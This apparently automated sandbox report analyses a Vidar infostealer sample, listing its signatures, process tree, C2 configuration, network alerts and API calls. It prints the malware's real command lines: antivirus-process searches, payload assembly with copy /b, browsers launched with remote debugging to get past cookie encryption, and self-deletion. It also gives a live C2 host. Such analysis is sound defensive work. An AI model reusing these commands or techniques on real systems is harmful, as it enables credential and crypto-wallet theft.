Edit tour

Windows Analysis Report
1l1ohfybAf.exe

Overview

General Information

Sample name:	1l1ohfybAf.exe renamed because original name is a hash value
Original sample name:	8a371d33f7b7305f15ac97f331b13ee3.exe
Analysis ID:	1604526
MD5:	8a371d33f7b7305f15ac97f331b13ee3
SHA1:	957ed023f42215ec1034cd813d7047014d28b314
SHA256:	bd9f73e63ac57f56c23dda08edc1932fe8dfd33fde7e3d1a3014c881988eb1a7
Tags:	exeuser-abuse_ch
Infos:

Detection

Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Attempt to bypass Chrome Application-Bound Encryption

Found malware configuration

Multi AV Scanner detection for submitted file

Sigma detected: Search for Antivirus process

Suricata IDS alerts for network traffic

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Drops PE files with a suspicious file extension

Found many strings related to Crypto-Wallets (likely being stolen)

Joe Sandbox ML detected suspicious sample

Machine Learning detection for sample

Maps a DLL or memory area into another process

Monitors registry run keys for changes

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Browser Started with Remote Debugging

Sigma detected: Suspicious Copy From or To System Directory

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

1l1ohfybAf.exe (PID: 6208 cmdline: "C:\Users\user\Desktop\1l1ohfybAf.exe" MD5: 8A371D33F7B7305F15AC97F331B13EE3)

cmd.exe (PID: 1404 cmdline: "C:\Windows\System32\cmd.exe" /c copy Tie Tie.cmd & Tie.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5388 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 2448 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 2820 cmdline: findstr /I "opssvc wrsa" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 2828 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 6628 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 4440 cmdline: cmd /c md 815387 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

extrac32.exe (PID: 6856 cmdline: extrac32 /Y /E Panasonic MD5: 9472AAB6390E4F1431BAA912FCFF9707)

findstr.exe (PID: 6276 cmdline: findstr /V "Favors" Abstract MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 4024 cmdline: cmd /c copy /b 815387\Cet.com + Critics + Depot + Annie + Recordings + Niagara + Lawsuit + Wines + Fisheries + Newbie 815387\Cet.com MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 3412 cmdline: cmd /c copy /b ..\Charm + ..\Injuries + ..\Grows + ..\Departments + ..\Directors + ..\Iraq G MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Cet.com (PID: 1340 cmdline: Cet.com G MD5: 62D09F076E6E0240548C2F837536A46A)

chrome.exe (PID: 2420 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5388 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2476 --field-trial-handle=2220,i,10133282409629724002,10201332930015689741,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 736 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 2572 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2368 --field-trial-handle=2296,i,1180918715537140953,8811125575275051334,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 7412 cmdline: "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\user\AppData\Local\Temp\815387\Cet.com" & rd /s /q "C:\ProgramData\phlng" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7372 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 7360 cmdline: timeout /t 10 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

choice.exe (PID: 2436 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

msedge.exe (PID: 3568 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 2016 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2796 --field-trial-handle=2056,i,14622630743577404091,3625862895345187699,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 6772 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7004 --field-trial-handle=2056,i,14622630743577404091,3625862895345187699,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 5132 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7144 --field-trial-handle=2056,i,14622630743577404091,3625862895345187699,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 7224 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5376 --field-trial-handle=2056,i,14622630743577404091,3625862895345187699,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 7260 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5376 --field-trial-handle=2056,i,14622630743577404091,3625862895345187699,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 7428 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7152 --field-trial-handle=2056,i,14622630743577404091,3625862895345187699,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": "https://steamcommunity.com/profiles/76561199820567237", "Botnet": "hac22tl"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000D.00000002.3218327209.00000000039FB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Cet.com PID: 1340	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: Cet.com PID: 1340	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security

Sigma Signatures

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: Cet.com G, ParentImage: C:\Users\user\AppData\Local\Temp\815387\Cet.com, ParentProcessId: 1340, ParentProcessName: Cet.com, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", ProcessId: 2420, ProcessName: chrome.exe

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c copy Tie Tie.cmd & Tie.cmd, CommandLine: "C:\Windows\System32\cmd.exe" /c copy Tie Tie.cmd & Tie.cmd, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\1l1ohfybAf.exe", ParentImage: C:\Users\user\Desktop\1l1ohfybAf.exe, ParentProcessId: 6208, ParentProcessName: 1l1ohfybAf.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c copy Tie Tie.cmd & Tie.cmd, ProcessId: 1404, ProcessName: cmd.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c copy Tie Tie.cmd & Tie.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 1404, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , ProcessId: 6628, ProcessName: findstr.exe

Suricata Signatures

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-01T16:53:33.921421+0100	2044247	1	Malware Command and Control Activity Detected	116.202.5.153	443	192.168.2.6	49906	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-01T16:53:35.261709+0100	2051831	1	Malware Command and Control Activity Detected	116.202.5.153	443	192.168.2.6	49914	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-01T16:53:35.261484+0100	2049087	1	A Network Trojan was detected	192.168.2.6	49914	116.202.5.153	443	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-01T16:53:36.670252+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	49925	116.202.5.153	443	TCP
2025-02-01T16:53:37.720334+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	49932	116.202.5.153	443	TCP
2025-02-01T16:53:45.887551+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50003	116.202.5.153	443	TCP
2025-02-01T16:53:46.275113+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50012	116.202.5.153	443	TCP
2025-02-01T16:53:47.228712+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50017	116.202.5.153	443	TCP
2025-02-01T16:53:49.288198+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50019	116.202.5.153	443	TCP
2025-02-01T16:53:51.177172+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50020	116.202.5.153	443	TCP
2025-02-01T16:53:57.463098+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50048	116.202.5.153	443	TCP
2025-02-01T16:53:57.807400+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50052	116.202.5.153	443	TCP
2025-02-01T16:53:58.772169+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50067	116.202.5.153	443	TCP
2025-02-01T16:54:01.399464+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50094	116.202.5.153	443	TCP
2025-02-01T16:54:02.244291+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50112	116.202.5.153	443	TCP
2025-02-01T16:54:04.260925+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50121	116.202.5.153	443	TCP
2025-02-01T16:54:05.412107+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50122	116.202.5.153	443	TCP
2025-02-01T16:54:10.633792+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50125	116.202.5.153	443	TCP
2025-02-01T16:54:13.346502+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50127	116.202.5.153	443	TCP
2025-02-01T16:54:22.410761+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50128	116.202.5.153	443	TCP
2025-02-01T16:54:23.452363+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50129	116.202.5.153	443	TCP
2025-02-01T16:54:24.365210+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50130	116.202.5.153	443	TCP
2025-02-01T16:54:25.411799+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50131	116.202.5.153	443	TCP
2025-02-01T16:54:26.411791+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50132	116.202.5.153	443	TCP
2025-02-01T16:54:27.435718+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50133	116.202.5.153	443	TCP
2025-02-01T16:54:28.750938+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50134	116.202.5.153	443	TCP
2025-02-01T16:54:29.534441+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50135	116.202.5.153	443	TCP
2025-02-01T16:54:30.583910+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50137	116.202.5.153	443	TCP
2025-02-01T16:54:31.960041+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50138	116.202.5.153	443	TCP
2025-02-01T16:54:33.319482+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50139	116.202.5.153	443	TCP
2025-02-01T16:54:35.674168+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50141	116.202.5.153	443	TCP
2025-02-01T16:54:36.729925+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50142	116.202.5.153	443	TCP
2025-02-01T16:54:37.888568+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.6	50143	116.202.5.153	443	TCP

ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-01T16:53:46.275113+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.6	50012	116.202.5.153	443	TCP
2025-02-01T16:53:47.228712+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.6	50017	116.202.5.153	443	TCP
2025-02-01T16:53:49.288198+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.6	50019	116.202.5.153	443	TCP
2025-02-01T16:53:57.807400+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.6	50052	116.202.5.153	443	TCP
2025-02-01T16:53:58.772169+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.6	50067	116.202.5.153	443	TCP
2025-02-01T16:54:01.399464+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.6	50094	116.202.5.153	443	TCP
2025-02-01T16:54:02.244291+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.6	50112	116.202.5.153	443	TCP
2025-02-01T16:54:04.260925+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.6	50121	116.202.5.153	443	TCP
2025-02-01T16:54:05.412107+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.6	50122	116.202.5.153	443	TCP

ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-01T16:53:31.200950+0100	2859378	1	Malware Command and Control Activity Detected	192.168.2.6	49885	116.202.5.153	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 13.2.Cet.com.4740000.2.unpack

Malware Configuration Extractor: Vidar {"C2 url": "https://steamcommunity.com/profiles/76561199820567237", "Botnet": "hac22tl"}

Multi AV Scanner detection for submitted file

Source: 1l1ohfybAf.exe

Virustotal: Detection: 13%

Perma Link

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.5% probability

Machine Learning detection for sample

Source: 1l1ohfybAf.exe

Joe Sandbox ML: detected

Source: 1l1ohfybAf.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.6:49873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 116.202.5.153:443 -> 192.168.2.6:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50136 version: TLS 1.2

Source: 1l1ohfybAf.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: cryptosetup.pdbGCTL source: Cet.com, 0000000D.00000002.3218327209.0000000003A95000.00000004.00000800.00020000.00000000.sdmp, pp8q1n.13.dr
Source:	Binary string: cryptosetup.pdb source: Cet.com, 0000000D.00000002.3218327209.0000000003A95000.00000004.00000800.00020000.00000000.sdmp, pp8q1n.13.dr

Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\1l1ohfybAf.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_0034DC54 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	13_2_0034DC54
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_0035A087 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	13_2_0035A087
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_0035A1E2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	13_2_0035A1E2
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_0034E472 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	13_2_0034E472
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_0035A570 FindFirstFileW,Sleep,FindNextFileW,FindClose,	13_2_0035A570
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_0031C622 FindFirstFileExW,	13_2_0031C622
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_003566DC FindFirstFileW,FindNextFileW,FindClose,	13_2_003566DC
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_00357333 FindFirstFileW,FindClose,	13_2_00357333
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_003573D4 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	13_2_003573D4
Source: C:\Users\user\AppData\Local\Temp\815387\Cet.com	Code function: 13_2_0034D921 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	13_2_0034D921

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\815387	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\815387\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 8MB later: 29MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:49932 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1 : 192.168.2.6:49914 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:49925 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2859378 - Severity 1 - ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2 : 192.168.2.6:49885 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 116.202.5.153:443 -> 192.168.2.6:49914
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50019 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.6:50019 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50003 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50020 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50017 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.6:50017 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50012 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.6:50012 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50048 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 116.202.5.153:443 -> 192.168.2.6:49906
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50067 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.6:50067 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50094 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.6:50094 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50052 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.6:50052 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50112 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.6:50112 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.6:50122 -> 116.202.5.153:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.6:50122 -> 116.202.5.153:443
